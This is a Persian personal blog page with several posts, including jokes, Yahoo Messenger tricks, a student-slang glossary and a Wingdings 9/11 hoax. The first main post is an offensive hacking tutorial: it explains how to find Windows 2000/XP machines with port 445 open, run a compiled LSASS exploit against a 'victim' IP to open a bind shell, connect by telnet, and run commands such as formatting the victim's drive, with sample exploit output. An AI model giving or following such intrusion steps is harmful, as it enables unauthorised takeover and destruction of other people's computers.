نتيجه اخلاقي: هيچوقت در مورد چيزي كه مطمئن نيستي نتيجه كار خودته ادعا نداشته نباش !!!

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:5  توسط سید حسین محمدی | 

ميخواهيم به ويندوز 2000 يا ايكس پي حمله كنيم از بيرون دستگاه بدون اينكه به قرباني ?ايلي بديم اجرا كنه يا هر ارتباط ديگري با قرباني داشته باشيم يعني ميخوايم خيلي حر?ه اي نه مثل اين هكر هاي تازه كار كه تروجان ميدن به مردم خيلي حر?ه اي خودمان ميخوايم يك پورت روي دستگاه قرباني باز كنيم بدون اينكه حتي يك كلمه هم با قرباني حر? بزنيم خوب حالا كه ?هميديد چيكار ميخوام بكنيم من يكبار ديگه هم خلاصه بگم يك اي پي انتخاب ميكنيد و بعد هكش ميكنيد اولين كاري كه ميكنيم اين است كه اي پي مورد نظر يا همان قرباني را براي باز بودن پورت 445 امتحان ميكنيم

Start->run->CMD
را براي باز كردن يك ص?حه كامند پرومت بزنيد و بعد با دستور

telnet ip 445
امتحان ميكنيم كه ايا پورت 445 باز است يا نه البته شما اگر حر?ه اي هستيد حتما مثل هكر هاي حر?ه اي براي اين كارها يك برنامه خاص را است?اده ميكني بنا به سليقه خودتان كه از چه برنامه اي خوشتان مياد ولي در اينجا از دستوراتي است?اده ميكنيم كه هر كسي خواست اين كار را انجام بدهد نياز به برنامه خاصي نداشته باشه و با كمترين امكانات ميخوايم به نتيجه برسيم
خوب توجه كنيد به جا اي پي در دستور بالا بايد اي پي قرباني را وارد كنيد و اگر اين دستور را وارد كرديد و اتصال برقرار شد يعني پورت 445 باز است پس گام اول را برداشتيد و اگر اتصال برقرار نشد و پيغام خطا دريا?ت كرديد قرباني شما به اين نوع حمله ن?وذ پذير نيست
خوب حالا به گام دوم ميرويم در زير كد هاي حمله به اين پورت را مشاهده ميكنيد اين كدها را بايد كامپايل ب?رمائيد و ?ايل اجرايي كه بدست مي اوريد را بصورت زير است?اده ميكنيد

 

[expl [options


در خط بالا طرز است?اده به اين ترتيب است اولين كلمه expl نام ?ايل اجرايي است كه بعد از كامپايل ايجاد كرديد target يك عدد يك رقمي است كه مقدار 0 براي ويندوز ايكس پي است و مقدار 1و2 براي ويندوز 2000 است در اخر اين نوشته طرز تشخيص اينكه كدام عدد را است?اده كنيد يعني از كجا ب?هميد قرباني ويندوز ايكس پي است كه 0 بزنيد يا قرباني ويندوز 2000 است كه 1 يا 2 بزنيد را ميخوانيد
victim ip همان اي پي قرباني شما است كه پورت 445 ان باز بود
binport شماره پورتي است كه ميخواهيد روي دستگاه قرباني براي شما باز بشود و به ان پورت وصل بشويد و قرباني را هك كنيد
option يك دستور است كه در ادامه تك دستور اين برنامه را توضيح ميدهم

خوب دوست من كار بسيار ساده است ?رض كنيد اي پي قرباني من 217.0.0.1 است و من طبق ان چيزهايي كه بالا گ?تم اين كارهاي را به تريتب انجام ميدهدم

1- Start --> Run --> CMD
2- Telnet 217.0.0.1 445
3- اگر وصل شد از برنامه حمله كه قبلا كامپال كردم و الان اماده است?اده است است?اده ميكنم
4- پنجره قبلي را كه در 2 دستور قبل باز كردم ميبندم
5- Start->Run->CMD
6-expl.exe 0 217.0.0.1 24745
----بعد از اينكه دستور خط 6 را زدنيد اين نوشته ها را مشاهده ميكنيد----
*[*] Target: IP: 217.0.0.1: OS: winXP [universal] lsass.exe
*[*] Connecting to 217.0.0.1:445 ... OK
*[*] Attacking ... OK
7-حمله انجام شد و پورت مورد نظر شما كه در خط شماره 6 من شماره پورت 24745 را انتخاب كردم الان باز شده تا ما وارد دستگاه قرباني بشويم
8-Start-->Run-->CMD
9-telnet 217.0.0.1 24745
10-به احتمال 95 درصد شما مو?ق شديد دستگاه قرباني را هك كنيد و اين خطوط را مشاهده خواهيد كرد
* Microsoft Windows XP [Version 5.00.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\WINNT\system32>
11- دوست من در اين جا شما هر دستوري بزنيد روي دستگاه قرباني اجرا ميشود مثل اگر بزنيد format C: مي توانيد هارد قرباني را ?رمت كنيد
ولي توجه كنيد يك هكر در اوج قدرت دست به خرابكاري نميزنه !!! پس هر كاري خواستيد بكنيد ولي خرابكاري نه !!!

و اما چطوري تشخيص بدهيد كه دستگاه قرباني شما ويندوز 2000 است كه از عدد 1 يا 2 است?اده كنيد يا ويندوز ايكس پي هست كه از عدد0 است?اده كنيد ؟ شما كا?ي است كه همان دستور بالا را كه براي حمله است?اده مكنيد بزنيد و ?قط به اخرش -t اضا?ه كنيد يعني اينطوري
expl 0 217.0.0.1 24745 -t
بعد از زدن اين دستور برنامه به شما نسخه ويندوز را اعلام ميكند اگر نسخه ويندوز را winnt 5.0اعلام كرد يعني ويندوز 2000 است و شما عدد 1 يا 2 است?اده كنيد و اگر winnt 5.1 را اعلام كرد ويندوز ايكس پي است


اميدوارم كه مطلب بالا مورد است?اده شما قرار گر?ته باشد توجه كنيد براي اينكه همه بتوانند اين مطلب را است?اده كنند مجبور شدم كه خيلي جاها را ساده كنم ولي در سورس اصلي برنامه ميتوانيد به اصل دستور عمل ها پي ببريد
..............................--

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:4  توسط سید حسین محمدی | 
جلسه خواستگاري... بعد از نيم ساعت سکوت
مادر داماد : ببخشين ، کبريت دارين؟
خانواده عروس : کبريت ؟! کبريت براي چي!؟
...مادر داماد : والا پسرم مي خواست سيگار بکشه
خانواده عروس : پس داماد سيگاريه....!؟
..مادر داماد : سيگاري که نه.. والا مشروب خورده ، بعد از مشروب سيگار مي چسبه
خانواده عروس : پس الکلي هم هست..!؟
مادر داماد : الکلي که نه... والا قمار بازي کرده و باخته ! ما هم مشروب داديم بهش که يادش بره
خانواده عروس : پس قمارم بازي مي کنه...!؟
...مادر داماد : آره... دوستاش توي زندان بهش ياد دادن
خانواده عروس : پس زندانم بوده...!؟
...مادر داماد : زندان که نه... والا معتاد بوده ، گرفتنش يه کمي بازداشتش کردن
خانواده عروس : پس معتادم بوده...!؟
...مادر داماد : آره... معتاد بود ، بعد زنش لوش داد
خانواده ءعروس : زنش !!!؟؟؟
+ نوشته شده در  شنبه 22 تیر1387ساعت 23:4  توسط سید حسین محمدی | 
  Yahoo Messenger ترفند جالب در                                                                                 مشغول    دوستم در كدام  Roomكردن است؟Chat
براي اين كار به راحتي بر روي اسم او در ليست خودتان كليك راست كرده و گزينه ي Join User in chat را انتخاب كنيد، سپس شما به راحتي به آن اتاق منتقل مي شويد.


چگونه بفهميم كدام يك از دوستانمان به صورت Invisible وارد Yahoo Messenger شده است؟
براي اين كار بر روي نام فردي كه مي خواهيد بفهميد Invisible آمده يا نه، كليك راست كنيد و از سندي كه ظاهر شده گزينه ي Invite Conference را انتخاب كنيد. سپس منتظر بمانيد، در اين صورت چهار حالت ممكن است رخ دهد:

1. كاربر مورد نظر حضور ندارد، پس پيغامي به صورت زير ظاهر مي شود:
None if the Users in the invite list are available t.join the conference.Please try at a later time
2.كاربر در اينترنت حضور دارد ولي دعوت شما را رد مي كند سپس در كادر پنجره ي كنفرانسش پيغامي مبني بر اينكه من دعوت شما را رد مي كنم ظاهر مي شود! خوب پس كاربر حضور داشته كه توانسته دعوت شما را رد كند.
3.كاربر به دعوتي كه شما براي كنفرانس براي او فرستاده ايد پاسخ مثبت مي دهد، پر واضح است كه او حضور دارد و شما مي توانيد نام او را در پنجره كنفرانس ببينيد.
4.هيچ پيغامي وارد نمي شود! اين كاربر دست شما را خوانده و به پيغامي كه حاوي پرسش مبني بر دعوت شما به كنفرانس است پاسخ نمي دهد تا لو نرود. پس نتيجه مي گيريم كه كاربر حضور دارد. در نتيجه فقط هنگامي كه واقعا كاربر حضور ندارد حالت اول رخ مي دهد، در بقيه حالات حتما كاربر حضور دارد شك نكنيد.


-----------------------------
 
  وقتي وارد مسنجر مي شيد ، دوست نداريد يه نفر يا شخص خاصي شما رو فعال ببينه و دوست نداريد با اون چت كنيد ولي اون هي گير ميده و از اين چيزا ...
 با اين ترفندي  ميتونيد براي كسي كه بهتون گير ميده يا براي فرد خاصي invisible باشيد تا اون فرد ديگه شما رو در حالت فعال نبينه و بهتون گير نده .

 خوب براي اين كار صفحه ي PM شخص مورد نظر رو باز كنيد و از منوهاي بالاي پنجره ي PM به آدرس  زير بريد :

Actions  > Contact Options  > Stealth Settings

بعد گزينه ي Permanently Offline رو انتخاب كنيد .

از اين به بعد شخص مورد نظر هميشه آي دي شما را در حالت invisible مي بيند .

براي برگرداندن به حالت عادي به همان آدرس مي رويد و گزينه ي Online رو انتخاب مي كنيد .
-----------------------------------
چگونه بفهميد كه دوستتان ID شما را در ليست دوستان خود دارد يا نه؟
 
 
 


براي اين كار كافيست در هنگامي كه با او چت ميكنيد به بالاي صفحه pm دقت كنيد.
اگر بين آيدي شما و آيدي دوست شما علامت - - وجود داشت بدين معناست كه آيدي شما در ليست او هست و اگر علامت - وجود داشت يعني شما در ليست او نيستيد.

 


     

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:4  توسط سید حسین محمدی | 
فرهنگ لغات دانشجويي
اعتراض دانشجو : بايكوت

شماره دانشجويي : مدرك جرم

اعتراض براي كيفيت غذا : مي خواهم زنده بمانم

روز پرداخت وام دانشجو : روز فرشته

دانشجوي اخراجي : مردي كه به زانو در آمد

دانشجوي مشروطي : مردي كه موش شد

آينده تحصيل كرده : دست فروش

كلاس هاي ساعت 12-2: خواب وبيدار

رئيس دانشگاه : مرد نامريي

تصويب شهريه براي دانشجويان : تاراج

استاد راهنما : گمشده

به دنبال سرويس : دونده

آشپزهاي سلف سرويس : هفت سامورائي

ازدواج دانشجوئي : عروسي خوبان

دانشجويي كه تغيير رشته داده : بازنده

بوفه دانشگاه : غارتگران

سرويس دانشگاه : اتوبوسي بسوي مرگ

اميد به بهبود اوضاع : توهم

 

گردهمايي استادان : دسيسه

كتابخانه دانشگاه : خانه عنكبوتان

پاس كردن يك درس: يكبار براي هميشه

ژتون فروشي : آژانس شيشه اي

علت نيافتن بعضي از دانشجويان : رابطه پنهان

رئيس دانشكده : سناتور

التماس براي نمره : اشك كوسه

امور دانشجويان : سايه شوگان

سوار شدن به اتوبوس : يورش

نماينده كلاس : بهترين فرد بد

ترم آخر : بوي خوش زندگي

پايان نامه : زندگي ديگر هيچ
سالهاي پيش از دانشگاه : آن روزهاي خوش

دانشجوي تازه وارد : هالوي خوش شانس

ثبت نام ترم جديد : ده فرمان

دانشجويان ساكن خوابگاه : جنگجويان كوهستان

خوابگاه شهرك : اينجا آخر دنياست

دانشجوي پزشكي : به خاطر يك مشت دلار

دانشجوي اد بيات : نان و شعر

وام تحصيلي : جهيزيه رباب

خوابگاه دا نشگاه : خانه كوچك

خانواده دانشجويان : بينوايان

دانشگاه آزاد : جيب برها به بهشت نمي روند

دانشجوي مدل رپي : الو، الو، من جوجوام

دانشجوي فوق ليسانس : قهرمان قهرمانان

انتخاب درس افتاده : زخم كهنه

استاد دانشگاه : يك گروه خشن

اولين امتحان : اولين خون

شب امتحان : امشب اشكي ميريزد

مراقبين امتحان : سايه عقاب

شاگرد اول كلاس : مردي كه زياد مي دانست

تقلب : عمليات سري

تدريس در دانشگاه : تجارت

روز دريافت كارنامه : روز واقعه

تعطيلات بين ترمي : روزهاي خوب زندگي

دانشجوي فارغ التحصيل : ديوانه از قفس پريد

مسئول خوابگاه : كاراگاه گجت

انصراف دادن : فرار بسوي خوشبختي

ادامه تحصيل تا دكترا : ديدار در استانبول

وعده رئيس دانشگاه : بلوف

تصويه حساب : خط پايان

شيريني گرفتن از فارغ تحصيلي : ضربه آخر

عمر دانشجو : بر باد رفته

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:3  توسط سید حسین محمدی | 
Test. Its very wonderfull. Open "Wordpad" right now.And write flight number that hurtled on 11 september:(Q33NY)   .Now ,change the font to "wingding" .What do you see now?    Q33NY

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:3  توسط سید حسین محمدی | 
??دليل محکم براي اينکه به زن بودن خود
افتخار کنيد.
1- نام گلهاي زيبا را بر روي شما مي گذارند.
2- هنگامي که رنگ پريده يا بيماريد،با کمي وسايل آرايش مي توانيد خود را زيباتر کنيد و هيچ کس هم از شما ايراد نمي گيرد.
3- تمام شاعران در وصف شما هزاران شعر گفته و شما را ستوده اند.
4- مجبور نيستيد که سر کار برويد و پول يک ماه کار و تلاشتان را برنج و گوشت و نخود و لوبيا بخريد.
5- به راحتي و با اعتماد به نفس هر وقت لازم باشد گريه مي کنيد و غم وغصه هايتان را در دل جمع نمي کنيد تا سکته کنيد.
6- عمرتان بسيار طولاني است.
7- آن قدر حرف براي گفتن داريد که کم نمي آوريد.
8- هميشه يک عالمه دوست و رفيق ناب داريد و کمتر گرفتار رفيق ناباب مي شويد.
9- شوق و هنر ابداع شماست.
10- هميشه جوان تر از سنتان مي مانيد،هيچ کس نمي داند چند ساله ايد.
11- از9سالگي عاقل مي شويد و مردها حالا،حالاها بايد بدوند تا به پاي شما برسند.
12- بهشت زير پاي شماست.
+ نوشته شده در  شنبه 22 تیر1387ساعت 23:2  توسط سید حسین محمدی | 
??دليل محکم براي اينکه به زن بودن خود
افتخار کنيد.
1- نام گلهاي زيبا را بر روي شما مي گذارند.
2- هنگامي که رنگ پريده يا بيماريد،با کمي وسايل آرايش مي توانيد خود را زيباتر کنيد و هيچ کس هم از شما ايراد نمي گيرد.
3- تمام شاعران در وصف شما هزاران شعر گفته و شما را ستوده اند.
4- مجبور نيستيد که سر کار برويد و پول يک ماه کار و تلاشتان را برنج و گوشت و نخود و لوبيا بخريد.
5- به راحتي و با اعتماد به نفس هر وقت لازم باشد گريه مي کنيد و غم وغصه هايتان را در دل جمع نمي کنيد تا سکته کنيد.
6- عمرتان بسيار طولاني است.
7- آن قدر حرف براي گفتن داريد که کم نمي آوريد.
8- هميشه يک عالمه دوست و رفيق ناب داريد و کمتر گرفتار رفيق ناباب مي شويد.
9- شوق و هنر ابداع شماست.
10- هميشه جوان تر از سنتان مي مانيد،هيچ کس نمي داند چند ساله ايد.
11- از9سالگي عاقل مي شويد و مردها حالا،حالاها بايد بدوند تا به پاي شما برسند.
12- بهشت زير پاي شماست.
+ نوشته شده در  شنبه 22 تیر1387ساعت 23:1  توسط سید حسین محمدی | 
 
صفحه نخست
پست الکترونیک
آرشیو
درباره وبلاگ
از دوستانی که تمایل به همکاری در به روز رسانی این وب دارند تقاضا می شود نام کاربری خود را اطلاع دهند تا در بخش نویسندگان اضافه شود.و مطالب خود را در این وب به نمایش بگذارند.

نوشته های پیشین
تیر 1387
آذر 1386
آرشیو موضوعی
آلبوم تصاویر
اطلاعات عمومی
دانلود
علمی
جک و sms
پزشکی و سلامت
تجارت
ورزش
شعر و ادب
سرگرمی
تر فند,هک,...
کاغذ دیواری
کدهای جاوا
مذهبی
سیاسی
عشقولانه
فیلتر شکن...
جملات قصار بزرگان
بزرگان ایران
نویسندگان
سید حسین محمدی
هدهد صبا
 

 RSS

POWERED BY
BLOGFA.COM

مدیریت وبلاگ
سید حسین محمدی